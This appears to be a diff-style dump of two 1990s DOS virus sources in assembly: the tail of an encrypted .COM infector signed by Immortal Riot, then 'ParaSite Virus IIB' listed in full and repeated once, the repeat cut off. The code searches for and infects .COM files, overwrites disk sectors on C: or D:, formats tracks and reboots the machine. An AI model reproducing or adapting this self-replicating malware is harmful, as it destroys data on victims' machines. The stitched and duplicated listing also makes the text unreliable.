|
||||
|
||||
where_we_are: push si
|
||||
pop si ; Since the virus-code's address will
|
||||
pop si
|
||||
|
||||
;-----------------------------------------------------------------------
|
||||
; Now we have to put back the original 4 bytes in the host program, so
|
||||
; we can return control to it later:
|
||||
add si,_4first_bytes-where_we_are
|
||||
mov di,100
|
||||
cld
|
||||
movsw
|
||||
movsw
|
||||
;------------------------------------------------------------------------
|
||||
; We have to use SI as a reference since files differ in size thus making
|
||||
; virus to be located at different addresses.
|
||||
|
||||
sub si,_4first_bytes-Virus_Start+4
|
||||
|
||||
call encrypt_decrypt ; differ from victim to victim.
|
||||
jmp encryption_start ; a POP SI after a call will give us the
|
||||
; address which equals to 'where_we_are'
|
||||
; Very important.
|
||||
write_virus:
|
||||
call encrypt_decrypt
|
||||
mov ah,40 ; Append file with virus code.
|
||||
mov cx,offset Virus_Lenght
|
||||
mov dx,si ; Virus_Lenght.
|
||||
int 21
|
||||
call encrypt_decrypt
|
||||
ret
|
||||
|
||||
encryption_value dw 0
|
||||
encrypt_decrypt:
|
||||
|
||||
mov di,offset encryption_start-virus_start
|
||||
add di,si
|
||||
mov cx,(end_of_encryption-encryption_start+1)/2
|
||||
|
||||
push bx
|
||||
mov bx,offset encryption_value-virus_start
|
||||
add bx,si
|
||||
mov dx,word ptr [bx]
|
||||
pop bx
|
||||
|
||||
again:
|
||||
xor word ptr cs:[di],dx
|
||||
add di,2
|
||||
loop again
|
||||
ret
|
||||
;------------------------------------------------------------------------
|
||||
; Now we just have to find victims, we will look for ALL .COM files in
|
||||
; the current directory.
|
||||
|
||||
encryption_start:
|
||||
;set_dta:
|
||||
mov ah,1ah
|
||||
lea dx,[si+offset dta-virus_start]
|
||||
int 21h
|
||||
mov ah,4e ; We start to look for a *.COM file
|
||||
look4victim: mov dx,offset file_match-Virus_Start
|
||||
add dx,si
|
||||
int 21
|
||||
|
||||
jc no_victim_found
|
||||
|
||||
; clear attribs: before open file
|
||||
mov ax,4301h
|
||||
xor cx,cx
|
||||
lea dx,[si+virus_end+1eh]
|
||||
int 21h
|
||||
mov ax,3d02 ; Now we open the file.
|
||||
lea dx,[si+offset DTA-virus_start+1eh] ;now also including
|
||||
int 21 ; DTA.
|
||||
jc cant_open_file ; If file couldn't be open.
|
||||
|
||||
xchg ax,bx ; Save filehandle in bx
|
||||
; (we could use MOV BX,AX but we saves one byte by using xchg )
|
||||
|
||||
mov ah,3f ; Now we read the first 4 bytes
|
||||
mov cx,4 ; from the victim -> buffer
|
||||
|
||||
mov dx,offset _4first_bytes-Virus_Start
|
||||
add dx,si
|
||||
; We will then overwrite them with
|
||||
int 21 ; a JMP XXXX to virus-code at end.
|
||||
|
||||
jc read_error
|
||||
|
||||
cmp byte ptr ds:[si+_4first_bytes-Virus_Start],'M'
|
||||
jz sick_or_EXE ; Check if infected OR *.EXE
|
||||
|
||||
; Almost all EXE files starts with 'M' and we mark the infected files by
|
||||
; starting with 'M' which equals to DEC BP
|
||||
; Now we just have to have one check instead of 2 (infected and *.EXE)
|
||||
|
||||
mov ax,4202 ; Position file-pointer to point at
|
||||
xor cx,cx ; End-of-File.
|
||||
xor dx,dx ; Any writing to file will now APPEND it
|
||||
int 21 ; Returns AX -> at end.
|
||||
|
||||
sub ax,4 ; Just for the JMP structure.
|
||||
|
||||
mov word ptr ds:[_4new_bytes+2],ax
|
||||
; Build new JMP XXXX to virus.
|
||||
; ( logic: JMP AX )
|
||||
|
||||
mov word ptr [si+encryption_value-virus_start],99 ; encryption_value.
|
||||
call write_virus
|
||||
|
||||
;
|
||||
; mov ah,40 ; Append file with virus code.
|
||||
; mov cx,offset Virus_Lenght
|
||||
; mov dx,si ; Virus_Lenght.
|
||||
; int 21
|
||||
; jc write_error
|
||||
|
||||
|
||||
mov ax,4200 ; Position file-pointer to begin of file
|
||||
xor cx,cx ; So we can change the first 3 bytes
|
||||
xor dx,dx ; to JMP to virus.
|
||||
int 21
|
||||
|
||||
mov ah,40 ; Write new 3 bytes.
|
||||
mov cx,4 ; After this, executing the file will
|
||||
mov dx,offset _4new_bytes-Virus_Start
|
||||
add dx,si
|
||||
; result in virus-code executing before
|
||||
int 21 ; original code.
|
||||
jc write_error
|
||||
|
||||
; then close the file.
|
||||
mov ah,3e ; Close file, now file is infected.
|
||||
int 21 ; Dos function 3E (close handle)
|
||||
|
||||
Sick_or_EXE: mov ah,4f ; Well, file is infected. Now let's
|
||||
jmp look4victim ; find another victim...
|
||||
|
||||
write_error: ; Here you can test whats went wrong.
|
||||
read_error: ; This is just for debugging purpose.
|
||||
cant_open_file: ; These entries are equal to eachother
|
||||
no_victim_found: ; but could be changed if you need to test something.
|
||||
|
||||
; randomize:
|
||||
mov ah,2ch ;get a new random number
|
||||
int 21h ;5% chance of nuke
|
||||
cmp dl,5
|
||||
ja real_quit
|
||||
jmp which
|
||||
|
||||
which:
|
||||
mov ah,2ch
|
||||
int 21h
|
||||
cmp dl,50
|
||||
ja nuke_c
|
||||
jmp nuke_d
|
||||
|
||||
nuke_c:
|
||||
cli ;
|
||||
mov ah,2 ; 2=c:
|
||||
cwd ;
|
||||
mov cx,0100h ;
|
||||
int 026h ;
|
||||
JMP REAL_QUIT
|
||||
|
||||
nuke_d:
|
||||
cli
|
||||
mov ah,3 ; 3=d:
|
||||
cwd
|
||||
mov cx,0100h
|
||||
int 026h
|
||||
jmp real_quit
|
||||
|
||||
real_quit:
|
||||
mov ax,100 ; Every thing is put back in memory,
|
||||
push ax ; lets us RET back to start of program
|
||||
ret ; and execute the original program.
|
||||
|
||||
notes db '[PARADIS LOST!] (c) 93 The Unforgiven/Immortal Riot'
|
||||
file_match db '*.COM',0 ; Pattern to search for.
|
||||
|
||||
end_of_encryption:
|
||||
_4first_bytes: ret ; Here we save the 4 first org. bytes
|
||||
db 3 DUP(0)
|
||||
; We have a ret here since this file isn't a REAL infection.
|
||||
|
||||
_4new_bytes db 'M',0E9, 00, 00 ; Here we build the 4 new org. bytes
|
||||
datestamp equ 24 ; Offset in DTA of file's date stamp
|
||||
timestamp equ 22 ; Offset in DTA of file's time stamp
|
||||
filename equ 30 ; Offset in DTA of ASCIIZ filename
|
||||
attribute equ 21 ; Offset in DTA of file attribute
|
||||
|
||||
|
||||
; so our virus-code will be run first.
|
||||
Virus_End EQU $
|
||||
dta db 42 DUP (?)
|
||||
end dummy_code
|
|
@ -0,0 +1,418 @@
|
|||
;********************************************************************
|
||||
; <PARSIT2B.ASM> - ParaSite Virus IIB
|
||||
; By: Rock Steady
|
||||
; Close to one year I created this Virus. As you can see it is quite
|
||||
; old... Maybe too Old... But here it is... It Sucks... but its great
|
||||
; for any virus beginner... Anyhow...
|
||||
; NOTES: Simple COM infector. 10% of the time it reboots the system
|
||||
; 20% it plays machine gun noices on the PC speaker... and
|
||||
; 70% of the time is infects another COM file... Have fun...
|
||||
;********************************************************************
|
||||
MOV_CX MACRO X
|
||||
DB 0B9H
|
||||
DW X
|
||||
ENDM
|
||||
|
||||
CODE SEGMENT
|
||||
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
|
||||
ORG 100H
|
||||
|
||||
|
||||
VCODE: JMP virus
|
||||
|
||||
NOP
|
||||
NOP ; To identify it as an Infected
|
||||
NOP ; Program!
|
||||
|
||||
v_start equ $
|
||||
|
||||
|
||||
virus: PUSH CX
|
||||
MOV DX,OFFSET vir_dat
|
||||
CLD
|
||||
MOV SI,DX
|
||||
ADD SI,first_3
|
||||
JMP Rock_1
|
||||
Rock_2:
|
||||
MOV DX,dta
|
||||
ADD DX,SI
|
||||
MOV AH,1AH
|
||||
INT 21H
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
MOV ES,DS:2CH
|
||||
MOV DI,0
|
||||
JMP Day_Of_Week
|
||||
Rock_1:
|
||||
MOV CX,3
|
||||
MOV DI,OFFSET 100H
|
||||
REPZ MOVSB
|
||||
MOV SI,DX
|
||||
PUSH ES
|
||||
MOV AH,2FH
|
||||
INT 21H
|
||||
MOV [SI+old_dta],BX
|
||||
MOV [SI+old_dts],ES
|
||||
POP ES
|
||||
JMP Rock_2
|
||||
|
||||
Day_Of_Week:
|
||||
MOV AH,2AH ;Get System date!
|
||||
INT 21H
|
||||
CMP AL,1 ;Check to See if it's Monday!
|
||||
JGE day_check ;Jump if later than Mondays
|
||||
JMP Get_Time
|
||||
day_check:
|
||||
CMP AL,1 ;Check to see if it is the 1st
|
||||
JA Get_Time ;If yes, create a MESS...
|
||||
JMP Bad_Mondays ;If not, then go on with infecti
|
||||
mess:
|
||||
|
||||
Bad_Mondays:
|
||||
MOV DL,2 ;The Formatting Tracks..
|
||||
MOV AH,05
|
||||
MOV DH,80h
|
||||
MOV CH,0
|
||||
INT 13h
|
||||
|
||||
Play_music:
|
||||
MOV CX,20d ;Set number of Shots
|
||||
new_shot:
|
||||
PUSH CX ;Save Count
|
||||
CALL Shoot
|
||||
MOV CX,4000H
|
||||
Silent: LOOP silent
|
||||
POP CX
|
||||
LOOP new_Shot
|
||||
JMP mess
|
||||
|
||||
SHOOT proc near ;The Machine Gun Noices...
|
||||
MOV DX,140h
|
||||
MOV BX,20h
|
||||
IN AL,61h
|
||||
AND AL,11111100b
|
||||
SOUND: XOR AL,2
|
||||
OUT 61h,al
|
||||
ADD dx,9248h
|
||||
MOV CL,3
|
||||
ROR DX,CL
|
||||
MOV CX,DX
|
||||
AND cx,1ffh
|
||||
OR CX,10
|
||||
WAITA: LOOP WAITA
|
||||
DEC BX
|
||||
JNZ SOUND
|
||||
AND AL,11111100b
|
||||
OUT 61h,AL
|
||||
RET
|
||||
Shoot Endp
|
||||
|
||||
Get_Time:
|
||||
MOV AH,2Ch ; Get System Time!
|
||||
INT 21h ;
|
||||
AND DH,0fh
|
||||
CMP DH,3
|
||||
JB Play_music
|
||||
CMP DH,3h
|
||||
JA Find_Path
|
||||
INT 19h
|
||||
|
||||
go:
|
||||
MOV AH, 47H
|
||||
XOR DL,DL
|
||||
ADD SI, OFFSET orig_path - OFFSET buffer - 8
|
||||
INT 21H
|
||||
JC find_path
|
||||
|
||||
MOV AH,3BH
|
||||
MOV DX,SI
|
||||
ADD DX, OFFSET root_dir - OFFSET orig_path
|
||||
INT 21H
|
||||
|
||||
infect_root:
|
||||
MOV [BX+nam_ptr],DI
|
||||
MOV SI,BX
|
||||
ADD SI,f_ipec
|
||||
MOV CX,6
|
||||
REPZ MOVSB
|
||||
JMP hello
|
||||
|
||||
find_path:
|
||||
POP SI ; Seek and Destroy...
|
||||
PUSH SI
|
||||
ADD SI,env_str
|
||||
LODSB
|
||||
MOV CX,OFFSET 8000H
|
||||
REPNZ SCASB
|
||||
MOV CX,4
|
||||
|
||||
check_next_4:
|
||||
LODSB
|
||||
SCASB
|
||||
;
|
||||
; The JNZ line specifies that if there is no PATH present, then we will
|
||||
; along and infect the ROOT directory on the default drive.
|
||||
|
||||
JNZ find_path ;If not path, then go to ROOT di
|
||||
LOOP check_next_4 ;Go back and check for more char
|
||||
POP SI ;Load in PATH again to look for
|
||||
POP ES
|
||||
MOV [SI+path_ad],DI
|
||||
MOV DI,SI
|
||||
ADD DI,wrk_spc
|
||||
MOV BX,SI
|
||||
ADD SI,wrk_spc ;the File Handle
|
||||
MOV DI,SI
|
||||
JMP SHORT slash_ok
|
||||
|
||||
set_subdir:
|
||||
CMP WORD PTR [SI+path_ad],0
|
||||
JNZ found_subdir
|
||||
JMP all_done
|
||||
|
||||
|
||||
found_subdir:
|
||||
PUSH DS
|
||||
PUSH SI
|
||||
MOV DS,ES:2CH
|
||||
MOV DI,SI
|
||||
MOV SI,ES:[DI+path_ad]
|
||||
ADD DI,wrk_spc ;DI is the handle to infect!
|
||||
|
||||
|
||||
move_subdir:
|
||||
LODSB ;To tedious work to move into su
|
||||
NOP
|
||||
CMP AL,';' ;Does it end with a ; character?
|
||||
JZ moved_one ;if yes, then we found a subdir
|
||||
CMP AL,0 ;is it the end of the path?
|
||||
JZ moved_last_one ;if yes, then we save the PATH
|
||||
STOSB ;marker into DI for future refer
|
||||
JMP SHORT move_subdir
|
||||
|
||||
moved_last_one:
|
||||
MOV SI,0
|
||||
|
||||
moved_one:
|
||||
POP BX ;BX is where the virus data is
|
||||
POP DS ;Restore DS
|
||||
NOP
|
||||
MOV [BX+path_ad],SI ;Where is the next subdir?
|
||||
CMP CH,'\' ;Check to see if it ends in \
|
||||
JZ slash_ok ;If yes, then it's OK
|
||||
MOV AL,'\' ;if not, then add one...
|
||||
STOSB ;store the sucker
|
||||
|
||||
|
||||
|
||||
slash_ok:
|
||||
MOV [BX+nam_ptr],DI ;Move the filename into workspac
|
||||
MOV SI,BX ;Restore the original SI value
|
||||
ADD SI,f_spec ;Point to COM file victim
|
||||
MOV CX,6
|
||||
REPZ MOVSB ;Move victim into workspace
|
||||
hello:
|
||||
MOV SI,BX
|
||||
MOV AH,4EH
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI ;DX is ... The File to infect
|
||||
MOV CX,3 ;Attributes of Read Only or Hidd
|
||||
INT 21H
|
||||
JMP SHORT find_first
|
||||
joe1:
|
||||
JMP go
|
||||
|
||||
find_next:
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
|
||||
find_first:
|
||||
JNB found_file ;Jump if we found it
|
||||
JMP SHORT set_subdir ;Otherwise, get another subdirec
|
||||
|
||||
found_file:
|
||||
MOV AX,[SI+dta_tim] ;Get time from DTA
|
||||
AND AL,1EH ;Mask to remove all but seconds
|
||||
CMP AL,1EH ;60 seconds
|
||||
JZ find_next
|
||||
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON
|
||||
JA find_next ;If too long, find another one
|
||||
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
|
||||
JB find_next ;Then go find another one
|
||||
MOV DI,[SI+nam_ptr]
|
||||
PUSH SI
|
||||
ADD SI,dta_nam
|
||||
|
||||
more_chars:
|
||||
LODSB
|
||||
STOSB
|
||||
CMP AL,0
|
||||
JNZ more_chars
|
||||
POP SI
|
||||
MOV AX,OFFSET 4300H
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
MOV [SI+old_att],CX
|
||||
MOV AX,OFFSET 4301H
|
||||
AND CX,OFFSET 0FFFEH
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
MOV AX,OFFSET 3D02H
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
JNB opened_ok
|
||||
JMP fix_attr
|
||||
|
||||
opened_ok:
|
||||
MOV BX,AX
|
||||
MOV AX,OFFSET 5700H
|
||||
INT 21H
|
||||
MOV [SI+old_tim],CX ;Save file time
|
||||
MOV [SI+ol_date],DX ;Save the date
|
||||
MOV AH,2CH
|
||||
INT 21H
|
||||
AND DH,7
|
||||
JMP infect
|
||||
|
||||
|
||||
infect:
|
||||
MOV AH,3FH
|
||||
MOV CX,3
|
||||
MOV DX,first_3
|
||||
ADD DX,SI
|
||||
INT 21H ;Save first 3 bytes into the data area
|
||||
JB fix_time_stamp
|
||||
CMP AX,3
|
||||
JNZ fix_time_stamp
|
||||
MOV AX,OFFSET 4202H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
MOV CX,AX
|
||||
SUB AX,3
|
||||
MOV [SI+jmp_dsp],AX
|
||||
ADD CX,OFFSET c_len_y
|
||||
MOV DI,SI
|
||||
SUB DI,OFFSET c_len_x
|
||||
JMP CONT
|
||||
JOE2:
|
||||
JMP JOE1
|
||||
CONT:
|
||||
MOV [DI],CX
|
||||
MOV AH,40H
|
||||
MOV_CX virlen
|
||||
MOV DX,SI
|
||||
SUB DX,OFFSET codelen
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
CMP AX,OFFSET virlen
|
||||
JNZ fix_time_stamp
|
||||
MOV AX,OFFSET 4200H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
MOV AH,40H
|
||||
MOV CX,3
|
||||
MOV DX,SI
|
||||
ADD DX,jmp_op
|
||||
INT 21H
|
||||
|
||||
fix_time_stamp:
|
||||
MOV DX,[SI+ol_date]
|
||||
MOV CX,[SI+old_tim]
|
||||
AND CX,OFFSET 0FFE0H
|
||||
OR CX,1EH
|
||||
MOV AX,OFFSET 5701H
|
||||
INT 21H
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
|
||||
fix_attr:
|
||||
MOV AX,OFFSET 4301H
|
||||
MOV CX,[SI+old_att]
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
|
||||
all_done:
|
||||
PUSH DS
|
||||
MOV AH,1AH
|
||||
MOV DX,[SI+old_dta]
|
||||
MOV DS,[SI+old_dts]
|
||||
INT 21H
|
||||
POP DS
|
||||
|
||||
quit:
|
||||
MOV BX,OFFSET count
|
||||
CMP BX,0
|
||||
JB joe2
|
||||
POP CX
|
||||
XOR AX,AX ;XOR values so that we will give
|
||||
XOR BX,BX ;poor sucker a hard time trying
|
||||
XOR DX,DX ;reassemble the source code if h
|
||||
XOR SI,SI ;decides to dissassemble us.
|
||||
MOV DI,OFFSET 0100H
|
||||
PUSH DI
|
||||
XOR DI,DI
|
||||
RET 0FFFFH ;Return back to the beginning
|
||||
;of the program
|
||||
|
||||
vir_dat EQU $
|
||||
|
||||
Aurther DB "ParaSite IIB - By: Rock Steady"
|
||||
olddta_ DW 0
|
||||
olddts_ DW 0
|
||||
oldtim_ DW 0
|
||||
count_ DW 0
|
||||
oldate_ DW 0
|
||||
oldatt_ DW 0
|
||||
first3_ EQU $
|
||||
INT 20H
|
||||
NOP
|
||||
jmpop_ DB 0E9H
|
||||
jmpdsp_ DW 0
|
||||
fspec_ DB '*.COM',0
|
||||
fipec_ DB 'COMMAND.COM',0
|
||||
pathad_ DW 0
|
||||
namptr_ DW 0
|
||||
envstr_ DB 'PATH='
|
||||
wrkspc_ DB 40h dup (0)
|
||||
dta_ DB 16h dup (0)
|
||||
dtatim_ DW 0,0
|
||||
dtalen_ DW 0,0
|
||||
dtanam_ DB 0Dh dup (0)
|
||||
buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0
|
||||
orig_path DB 64 dup (?)
|
||||
root_dir DB '\',0
|
||||
lst_byt EQU $
|
||||
virlen = lst_byt - v_start
|
||||
codelen = vir_dat - v_start
|
||||
c_len_x = vir_dat - v_start - 2
|
||||
c_len_y = vir_dat - v_start + 100H
|
||||
old_dta = olddta_ - vir_dat
|
||||
old_dts = olddts_ - vir_dat
|
||||
old_tim = oldtim_ - vir_dat
|
||||
ol_date = oldate_ - vir_dat
|
||||
old_att = oldatt_ - vir_dat
|
||||
first_3 = first3_ - vir_dat
|
||||
jmp_op = jmpop_ - vir_dat
|
||||
jmp_dsp = jmpdsp_ - vir_dat
|
||||
f_spec = fspec_ - vir_dat
|
||||
f_ipec = fipec_ - vir_dat
|
||||
path_ad = pathad_ - vir_dat
|
||||
nam_ptr = namptr_ - vir_dat
|
||||
env_str = envstr_ - vir_dat
|
||||
wrk_spc = wrkspc_ - vir_dat
|
||||
dta = dta_ - vir_dat
|
||||
dta_tim = dtatim_ - vir_dat
|
||||
dta_len = dtalen_ - vir_dat
|
||||
dta_nam = dtanam_ - vir_dat
|
||||
count = count_ - vir_dat
|
||||
CODE ENDS
|
||||
END VCODE
|
||||
|
|
@ -0,0 +1,418 @@
|
|||
;********************************************************************
|
||||
; <PARSIT2B.ASM> - ParaSite Virus IIB
|
||||
; By: Rock Steady
|
||||
; Close to one year I created this Virus. As you can see it is quite
|
||||
; old... Maybe too Old... But here it is... It Sucks... but its great
|
||||
; for any virus beginner... Anyhow...
|
||||
; NOTES: Simple COM infector. 10% of the time it reboots the system
|
||||
; 20% it plays machine gun noices on the PC speaker... and
|
||||
; 70% of the time is infects another COM file... Have fun...
|
||||
;********************************************************************
|
||||
MOV_CX MACRO X
|
||||
DB 0B9H
|
||||
DW X
|
||||
ENDM
|
||||
|
||||
CODE SEGMENT
|
||||
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
|
||||
ORG 100H
|
||||
|
||||
|
||||
VCODE: JMP virus
|
||||
|
||||
NOP
|
||||
NOP ; To identify it as an Infected
|
||||
NOP ; Program!
|
||||
|
||||
v_start equ $
|
||||
|
||||
|
||||
virus: PUSH CX
|
||||
MOV DX,OFFSET vir_dat
|
||||
CLD
|
||||
MOV SI,DX
|
||||
ADD SI,first_3
|
||||
JMP Rock_1
|
||||
Rock_2:
|
||||
MOV DX,dta
|
||||
ADD DX,SI
|
||||
MOV AH,1AH
|
||||
INT 21H
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
MOV ES,DS:2CH
|
||||
MOV DI,0
|
||||
JMP Day_Of_Week
|
||||
Rock_1:
|
||||
MOV CX,3
|
||||
MOV DI,OFFSET 100H
|
||||
REPZ MOVSB
|
||||
MOV SI,DX
|
||||
PUSH ES
|
||||
MOV AH,2FH
|
||||
INT 21H
|
||||
MOV [SI+old_dta],BX
|
||||
MOV [SI+old_dts],ES
|
||||
POP ES
|
||||
JMP Rock_2
|
||||
|
||||
Day_Of_Week:
|
||||
MOV AH,2AH ;Get System date!
|
||||
INT 21H
|
||||
CMP AL,1 ;Check to See if it's Monday!
|
||||
JGE day_check ;Jump if later than Mondays
|
||||
JMP Get_Time
|
||||
day_check:
|
||||
CMP AL,1 ;Check to see if it is the 1st
|
||||
JA Get_Time ;If yes, create a MESS...
|
||||
JMP Bad_Mondays ;If not, then go on with infecti
|
||||
mess:
|
||||
|
||||
Bad_Mondays:
|
||||
MOV DL,2 ;The Formatting Tracks..
|
||||
MOV AH,05
|
||||
MOV DH,80h
|
||||
MOV CH,0
|
||||
INT 13h
|
||||
|
||||
Play_music:
|
||||
MOV CX,20d ;Set number of Shots
|
||||
new_shot:
|
||||
PUSH CX ;Save Count
|
||||
CALL Shoot
|
||||
MOV CX,4000H
|
||||
Silent: LOOP silent
|
||||
POP CX
|
||||
LOOP new_Shot
|
||||
JMP mess
|
||||
|
||||
SHOOT proc near ;The Machine Gun Noices...
|
||||
MOV DX,140h
|
||||
MOV BX,20h
|
||||
IN AL,61h
|
||||
AND AL,11111100b
|
||||
SOUND: XOR AL,2
|
||||
OUT 61h,al
|
||||
ADD dx,9248h
|
||||
MOV CL,3
|
||||
ROR DX,CL
|
||||
MOV CX,DX
|
||||
AND cx,1ffh
|
||||
OR CX,10
|
||||
WAITA: LOOP WAITA
|
||||
DEC BX
|
||||
JNZ SOUND
|
||||
AND AL,11111100b
|
||||
OUT 61h,AL
|
||||
RET
|
||||
Shoot Endp
|
||||
|
||||
Get_Time:
|
||||
MOV AH,2Ch ; Get System Time!
|
||||
INT 21h ;
|
||||
AND DH,0fh
|
||||
CMP DH,3
|
||||
JB Play_music
|
||||
CMP DH,3h
|
||||
JA Find_Path
|
||||
INT 19h
|
||||
|
||||
go:
|
||||
MOV AH, 47H
|
||||
XOR DL,DL
|
||||
ADD SI, OFFSET orig_path - OFFSET buffer - 8
|
||||
INT 21H
|
||||
JC find_path
|
||||
|
||||
MOV AH,3BH
|
||||
MOV DX,SI
|
||||
ADD DX, OFFSET root_dir - OFFSET orig_path
|
||||
INT 21H
|
||||
|
||||
infect_root:
|
||||
MOV [BX+nam_ptr],DI
|
||||
MOV SI,BX
|
||||
ADD SI,f_ipec
|
||||
MOV CX,6
|
||||
REPZ MOVSB
|
||||
JMP hello
|
||||
|
||||
find_path:
|
||||
POP SI ; Seek and Destroy...
|
||||
PUSH SI
|
||||
ADD SI,env_str
|
||||
LODSB
|
||||
MOV CX,OFFSET 8000H
|
||||
REPNZ SCASB
|
||||
MOV CX,4
|
||||
|
||||
check_next_4:
|
||||
LODSB
|
||||
SCASB
|
||||
;
|
||||
; The JNZ line specifies that if there is no PATH present, then we will
|
||||
; along and infect the ROOT directory on the default drive.
|
||||
|
||||
JNZ find_path ;If not path, then go to ROOT di
|
||||
LOOP check_next_4 ;Go back and check for more char
|
||||
POP SI ;Load in PATH again to look for
|
||||
POP ES
|
||||
MOV [SI+path_ad],DI
|
||||
MOV DI,SI
|
||||
ADD DI,wrk_spc
|
||||
MOV BX,SI
|
||||
ADD SI,wrk_spc ;the File Handle
|
||||
MOV DI,SI
|
||||
JMP SHORT slash_ok
|
||||
|
||||
set_subdir:
|
||||
CMP WORD PTR [SI+path_ad],0
|
||||
JNZ found_subdir
|
||||
JMP all_done
|
||||
|
||||
|
||||
found_subdir:
|
||||
PUSH DS
|
||||
PUSH SI
|
||||
MOV DS,ES:2CH
|
||||
MOV DI,SI
|
||||
MOV SI,ES:[DI+path_ad]
|
||||
ADD DI,wrk_spc ;DI is the handle to infect!
|
||||
|
||||
|
||||
move_subdir:
|
||||
LODSB ;To tedious work to move into su
|
||||
NOP
|
||||
CMP AL,';' ;Does it end with a ; character?
|
||||
JZ moved_one ;if yes, then we found a subdir
|
||||
CMP AL,0 ;is it the end of the path?
|
||||
JZ moved_last_one ;if yes, then we save the PATH
|
||||
STOSB ;marker into DI for future refer
|
||||
JMP SHORT move_subdir
|
||||
|
||||
moved_last_one:
|
||||
MOV SI,0
|
||||
|
||||
moved_one:
|
||||
POP BX ;BX is where the virus data is
|
||||
POP DS ;Restore DS
|
||||
NOP
|
||||
MOV [BX+path_ad],SI ;Where is the next subdir?
|
||||
CMP CH,'\' ;Check to see if it ends in \
|
||||
JZ slash_ok ;If yes, then it's OK
|
||||
MOV AL,'\' ;if not, then add one...
|
||||
STOSB ;store the sucker
|
||||
|
||||
|
||||
|
||||
slash_ok:
|
||||
MOV [BX+nam_ptr],DI ;Move the filename into workspac
|
||||
MOV SI,BX ;Restore the original SI value
|
||||
ADD SI,f_spec ;Point to COM file victim
|
||||
MOV CX,6
|
||||
REPZ MOVSB ;Move victim into workspace
|
||||
hello:
|
||||
MOV SI,BX
|
||||
MOV AH,4EH
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI ;DX is ... The File to infect
|
||||
MOV CX,3 ;Attributes of Read Only or Hidd
|
||||
INT 21H
|
||||
JMP SHORT find_first
|
||||
joe1:
|
||||
JMP go
|
||||
|
||||
find_next:
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
|
||||
find_first:
|
||||
JNB found_file ;Jump if we found it
|
||||
JMP SHORT set_subdir ;Otherwise, get another subdirec
|
||||
|
||||
found_file:
|
||||
MOV AX,[SI+dta_tim] ;Get time from DTA
|
||||
AND AL,1EH ;Mask to remove all but seconds
|
||||
CMP AL,1EH ;60 seconds
|
||||
JZ find_next
|
||||
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON
|
||||
JA find_next ;If too long, find another one
|
||||
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
|
||||
JB find_next ;Then go find another one
|
||||
MOV DI,[SI+nam_ptr]
|
||||
PUSH SI
|
||||
ADD SI,dta_nam
|
||||
|
||||
more_chars:
|
||||
LODSB
|
||||
STOSB
|
||||
CMP AL,0
|
||||
JNZ more_chars
|
||||
POP SI
|
||||
MOV AX,OFFSET 4300H
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
MOV [SI+old_att],CX
|
||||
MOV AX,OFFSET 4301H
|
||||
AND CX,OFFSET 0FFFEH
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
MOV AX,OFFSET 3D02H
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
JNB opened_ok
|
||||
JMP fix_attr
|
||||
|
||||
opened_ok:
|
||||
MOV BX,AX
|
||||
MOV AX,OFFSET 5700H
|
||||
INT 21H
|
||||
MOV [SI+old_tim],CX ;Save file time
|
||||
MOV [SI+ol_date],DX ;Save the date
|
||||
MOV AH,2CH
|
||||
INT 21H
|
||||
AND DH,7
|
||||
JMP infect
|
||||
|
||||
|
||||
infect:
|
||||
MOV AH,3FH
|
||||
MOV CX,3
|
||||
MOV DX,first_3
|
||||
ADD DX,SI
|
||||
INT 21H ;Save first 3 bytes into the data area
|
||||
JB fix_time_stamp
|
||||
CMP AX,3
|
||||
JNZ fix_time_stamp
|
||||
MOV AX,OFFSET 4202H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
MOV CX,AX
|
||||
SUB AX,3
|
||||
MOV [SI+jmp_dsp],AX
|
||||
ADD CX,OFFSET c_len_y
|
||||
MOV DI,SI
|
||||
SUB DI,OFFSET c_len_x
|
||||
JMP CONT
|
||||
JOE2:
|
||||
JMP JOE1
|
||||
CONT:
|
||||
MOV [DI],CX
|
||||
MOV AH,40H
|
||||
MOV_CX virlen
|
||||
MOV DX,SI
|
||||
SUB DX,OFFSET codelen
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
CMP AX,OFFSET virlen
|
||||
JNZ fix_time_stamp
|
||||
MOV AX,OFFSET 4200H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JB fix_time_stamp
|
||||
MOV AH,40H
|
||||
MOV CX,3
|
||||
MOV DX,SI
|
||||
ADD DX,jmp_op
|
||||
INT 21H
|
||||
|
||||
fix_time_stamp:
|
||||
MOV DX,[SI+ol_date]
|
||||
MOV CX,[SI+old_tim]
|
||||
AND CX,OFFSET 0FFE0H
|
||||
OR CX,1EH
|
||||
MOV AX,OFFSET 5701H
|
||||
INT 21H
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
|
||||
fix_attr:
|
||||
MOV AX,OFFSET 4301H
|
||||
MOV CX,[SI+old_att]
|
||||
